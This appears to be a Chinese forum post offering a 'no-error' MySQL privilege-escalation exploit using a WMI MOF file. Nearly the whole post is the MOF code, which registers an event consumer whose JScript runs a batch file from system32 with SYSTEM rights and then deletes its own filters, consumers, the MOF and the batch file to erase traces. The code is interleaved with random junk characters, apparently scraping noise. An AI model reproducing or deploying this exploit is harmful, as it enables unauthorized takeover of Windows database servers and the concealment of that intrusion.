Mysql 提权即时无错Mof exp

admin

这个sql提权MOF需要运行 system下的文件，不能定义路径。
需要将要运行的命令写入到bat上传到system32目录，然后执行。

这个sql提权MOF需要运行 system下的文件，不能定义路径。
( k5 B7 g! v6 o需要将要运行的命令写入到bat上传到system32目录，然后执行。
" {/ \& m  W, J
#pragma
                        namespace("\\\\.\\root\\cimv2")
5 g3 q: J6 m$ p6 w6 U) T1 J7 |                        class
                        MyClass547
% P0 M. G1 T- h9 q. D/ y                        {           [key]
                        string
. B8 c  `2 T, c; s# u# H2 ^                        Name;
; d% P4 P8 ~- n( z+ O/ D                        };
2 W  H6 t! r: X1 q2 m                        class
$ D; x; s! I! x0 I' ?" Y6 `                        ActiveScriptEventConsumer
8 D$ D# j) p" R8 `3 Q                        : __EventConsumer {          [key]
                        string
                        Name;           [not_null]
) G3 Y, @+ E& k: s5 e" R8 K1 k                        string
. e" G7 t' J7 |! D" {+ D                        ScriptingEngine;           string
2 ?# R' K- n8 h7 E9 x- q                        ScriptFileName;           [template]
7 \% L) q7 p5 P; a7 Q' M2 G                        string
- X2 j! M9 z2 q+ N8 w3 w6 E                        ScriptText;         uint32 KillTimeout;
. Q$ q& J/ _" g- s3 P2 r" P7 t                        }; instance of __Win32Provider as $P {
                        Name
                        =
2 }- S; Y! c  h/ w7 x7 Z                        "ActiveScriptEventConsumer";     CLSID =
8 f9 k. H9 s2 @# k; i9 M                        "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
$ ~7 \& H" S" ]                        PerUserInitialization
                        = TRUE;
9 n* \$ z: P2 Y% E                        }; instance of __EventConsumerProviderRegistration {         Provider
5 _% `4 d7 q: h, _: z& I                        = $P;         ConsumerClassNames
# C- @% H: g) M2 ~9 ^. k- p/ u                        =
" B( g( p. S* m" k% a) K) w* O1 D7 r/ B                        {"ActiveScriptEventConsumer"};
                        };
                        Instance of ActiveScriptEventConsumer
/ T8 q$ Q4 Q5 o5 y+ }                        as $cons {         Name
5 S& u+ G" Q- Z, W/ {                        =
                        "ASEC";         ScriptingEngine
$ F: K6 D3 p0 g1 i3 s                        =
                        "JScript";         ScriptText
                        =
                        "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};";          };
3 W: N+ ^9 h+ p( |$ I4 C                        Instance of ActiveScriptEventConsumer
                        as $cons2 {         Name
# W$ A! o! M- \                        =
                        "qndASEC";         ScriptingEngine
+ I; s0 B0 \+ K! E; u                        =
                        "JScript";         ScriptText
1 q" J& O- Z6 D) _. M                        =
& R& h$ j/ M  F& i% u& p+ A                        "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
9 B' A6 [+ R5 z% U2 k                        }; instance of __EventFilter as $Filt {         Name
                        =
4 l, w, |! z% \) u$ P& Z                        "instfilt";         Query
: I* e* P1 V- V- g1 e! W* E                        =
, s/ W' R; p' L                        "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\"";         QueryLanguage
- R6 z* d. H& O$ c8 k) X. R3 f8 ^  i; o                        =
2 D/ Q/ Q. P1 W! [1 @                        "WQL";         }; instance of __EventFilter as $Filt2 {         Name
% p: r0 m. z( ~2 x/ i' U                        =
                        "qndfilt";         Query
6 W, Q& X3 n9 V, `1 ~: N                        =
                        "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\"";         QueryLanguage
                        =
                        "WQL";          }; instance of __FilterToConsumerBinding as $bind {         Consumer
                        = $cons;         Filter
2 b2 l: w& H) Y/ i) g0 G                        = $Filt;
9 z: B1 X4 k7 J+ g; _                        }; instance of __FilterToConsumerBinding as $bind2 {         Consumer
                        = $cons2;         Filter
                        = $Filt2;
                        }; instance of MyClass547
                        as $MyClass {         Name
7 y, B2 ?. y7 D! g9 {4 R                        =
  |2 x3 P0 w- i$ s                        "ClassConsumer";
                        };